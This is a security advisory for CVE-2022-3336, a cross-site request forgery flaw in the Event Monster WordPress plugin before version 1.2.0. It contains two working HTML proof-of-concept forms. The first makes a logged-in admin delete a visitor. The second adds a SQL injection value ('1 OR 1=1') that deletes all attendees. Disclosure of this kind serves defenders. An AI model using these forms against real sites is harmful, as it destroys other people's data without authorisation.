Event Monster < 1.2.0 – Visitors Deletion via CSRF | CVE 2022-3336

Description

The plugin does not have CSRF check when deleting visitors, which could allow attackers to make logged in admin delete arbitrary visitors via a CSRF attack

Proof of Concept

To delete the attendee/visitor with ID 1, make a logged in admin open a page with the HTML code below

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=awl_event_monster&page=em-visitors-page" method="POST">
      <input type="hidden" name="action" value="deleteallvisitor" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The statement deleting attendee is also affected by SQLi, so the below code would delete all attendee at once via a SQL Injection attack

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=awl_event_monster&page=em-visitors-page" method="POST">
      <input type="hidden" name="action" value="deleteallvisitor" />
      <input type="hidden" name="id" value="1 OR 1=1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>